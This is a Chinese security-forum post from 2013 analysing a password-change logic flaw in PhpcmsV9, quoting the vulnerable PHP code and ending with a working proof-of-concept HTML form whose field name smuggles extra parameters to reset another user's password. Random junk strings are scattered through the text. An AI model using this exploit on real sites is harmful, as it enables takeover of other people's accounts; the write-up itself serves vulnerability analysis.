找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1961|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:& e6 m9 J$ G- I( c4 c- h6 s$ Z; j5 v
' e- \; x( l+ r& I3 j, K

# D0 l  `+ j1 }* Nparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
6 C3 K) o2 R, t4 w
3 p! \/ d: ~# ~4 f1 ]  u在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。7 b1 d7 O* A: |4 R
, @# ]' n* m2 M" \0 i
我把它留给了你们。
3 X  O4 j' K: w* X" b2 ^8 E不知道你们发现了它没有。# t  S5 i) h2 D
3 Z% N' E* a$ H* r
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
/ B- }: x: k3 {* k! s
' Y2 _0 s1 B3 |8 f4 A所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。) z# M. j! \  s8 l* n+ H$ }' w- V! R
. U! n3 P2 o, s! s3 O3 ]
也就是
- q8 z; c  o) ~5 Y3 Z1 j. i0 z- x1 l0 o* V! x) n7 }* r  i9 U# t) U
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。- \: m: p, z# z& S
+ n& b& P% j+ @# O& Y
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。4 w$ p' y* a+ n# q7 n

, I2 K* [( Q$ j4 Z: P5 N
1 W7 K" H# h! x- f其实我们有这样的机会,看看代码,如下:2 V+ e( G* f5 L$ X" f  W
# z5 K6 t' c2 p
3 U# Z0 _+ I- J7 w3 P8 w
public function auth_data($data) {7 T! z5 G! u" v
                $s = $sep = '';3 E! t( q' z" R: z6 m1 w
                foreach($data as $k => $v) {# k* {6 l* c  J2 j) R, q, I
                        if(is_array($v)) {
5 M% B# P- R6 d# Z: H+ t7 d1 D/ W( D                                $s2 = $sep2 = '';
* C+ U: Z7 k9 B' L                                foreach($v as $k2 => $v2) {
2 U* f2 g3 v/ l( j* G9 d2 X- [                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
; ~8 t* `" w& r+ l( U0 \7 O                                        $sep2 = '&';
- r; x2 F' W: T" ], X, B! q                                }
, j. b8 z/ x0 ]: P6 E( V1 ~' h" u! h                                $s .= $sep.$s2;8 `6 d& h. m) i& Q7 a% y+ @2 }
                        } else {8 h" k& ~5 o" U* X/ `
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
4 [! M, g# n+ u. @                        }+ I- S4 }- @# x/ E  u  d
                        $sep = '&';, m- L% z* m0 w: I
                }3 G, h+ U: U# q: H) ]0 Y

5 @8 ?+ q3 z0 V/ W  |/ H, x                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
6 {" j. ^" D" g4 m                return $auth_s;) Q) X. }' ?* S) [6 p7 G' e
        }6 }8 K5 R# |! h" `

  X: a+ z5 P0 z- U9 g可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
' q5 Y0 g* @! i2 p) ?+ h* T4 r) I2 [4 w/ x2 T& x! w
举个例子$ w8 B$ h$ o2 K8 s
. y2 Q" J& s5 Y* C2 ]8 b
$a[aaa=a&bbb] = 'a';+ {1 A0 d7 G% \% Y" x& g& S

1 N; Y6 V3 j  S' U7 O. ]) Y会变成aaa=a&bbb=a
2 |% U+ R5 w1 F/ S% v
7 Q6 g' p4 q- ?1 q6 |, v明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。3 f0 j+ X( [5 a: A- x  }: M& e

; w/ m- p4 q" F2 y$ H" m% ^/ Z  T这个时候,我们可以再去看一个函数。% @) |/ ~, I1 j) X% T8 a4 q6 }6 D

( @5 t) g& ]8 ~. U就在这个文件内:4 D# [3 F0 Z& t; @/ ~" e

1 k# \  Y5 H- S, l, |* n/ o( P5 I+ D2 e' v
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {" b7 B8 D* ^, p  ?+ U
                if($email && !$this->_is_email($email)) {
* q1 _8 K1 ]! t- a. f                        return -4;
2 R# v5 \% D: A( I. F                }
& h5 I& w4 {+ k/ [7 U. g: l                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
! q4 @9 U, e2 M2 K8 d9 n        }
. t+ a! W3 X; w0 Y; z5 c
! @; ~1 |: k. I# e' v# Z这是向通行证发了这样一个请求。6 |' Z+ W' O6 w/ L
* l7 C. I( R: C8 O& F
我们再跟到通信证代码里去看看,就会有所发现。
" \( A) ?4 s# e; X" w6 f8 I' l- C; ~  q. m7 ?0 q& q

( X6 u2 |( w3 m: f6 F* ?public function edit() {
$ T. x$ L( M' y2 p+ f) k//能省就省,太长了不是吗?
6 _6 b; {* X: Z5 w3 v- p- p8 J- U  j/ B- N5 a* m3 {! A: b+ M8 J4 F
if($this->username) {
! k" u4 I, t( c//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。0 R, g3 W' }; P
                                $res = $this->db->update($data, array('username'=>$this->username));
7 Y0 ^- u& x9 O                        } else {
8 o9 t4 B+ X% f                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
* N/ ]7 j3 J9 ?! ]                                $res = $this->db->update($data, array('uid'=>$this->uid));
5 v% d! ]& {! Z, Q6 d! l                        }
. U" v$ {1 r; ~9 h
$ T+ o9 Q" `$ Z2 L3 Q$ T$ T, Z5 j好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:* J2 M6 [% `/ G$ W. U8 N
& m: s: n0 w, j# C' R
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
, R# x6 j& W- @. u; Z0 f' {7 y4 \# S! b) Q4 x: [* m
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。: _1 m4 T/ F% N# U3 _, Y  P

' ?  |/ M" V9 ^4 h' J! J我当然找到了:/ e. Z/ z% C2 N" s' m4 K
phpcms9/phpcms/modules/member/index.php
2 Y. }" |+ h/ |$ L7 R
4 b. j" O; s, {$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
. r  }, `% b( c+ O# N( j  j) D2 z; \# F
然后就没有然后了。5 h/ ~, I( b0 F# M! i2 a2 A: v
6 ]; D/ Z5 N: Z8 x0 ]9 m; _
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">0 ]9 ?+ B) X$ b4 d: @
                                <table width="100%" cellspacing="0" class="table_form">9 V. R1 k4 [# y
                                        <tr>& Q4 {2 @% t4 |' m5 X) L! _) u& q
                                                <th width="80">邮箱:</th>        0 M& D  [/ _8 {
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>7 B6 K7 v& P. N5 n1 u* ]# z
                                        </tr>! I& x" D1 q3 s( y
                                        <tr>3 e5 e) ~4 L5 }5 B( L% s2 a
                                                <th width="80">原密码:</th>        " T$ \* g6 k: h
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
' s; q- x- P5 s! R7 n' C: i+ P" z                                        </tr>7 Y" Y0 L% O( W% g
                                        <tr>
* [, ]4 F* {+ _# K( G+ c# M0 H3 _                                                <th>新密码:</th>5 _7 [1 \$ X$ q. L# Y& r% t" d/ h2 d
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>& J  l6 ^- P- V0 M+ T
                                        </tr>) R( D% o0 p$ K* W6 r# h
                                        <th></th>3 N) K: s4 S5 s! h% N' H4 \
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
! B6 u) B9 v2 H/ H0 B: U' @                                        </tr>
- x: C6 E! H, q" H/ H* u                                </table>$ Z: P. \- G9 z" U& \# i
/ N; k, D+ G% K- e
                                - c* ?' v/ ]( o9 V
                        </form>2 c2 w" z  t- u+ t* i5 U; t/ X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表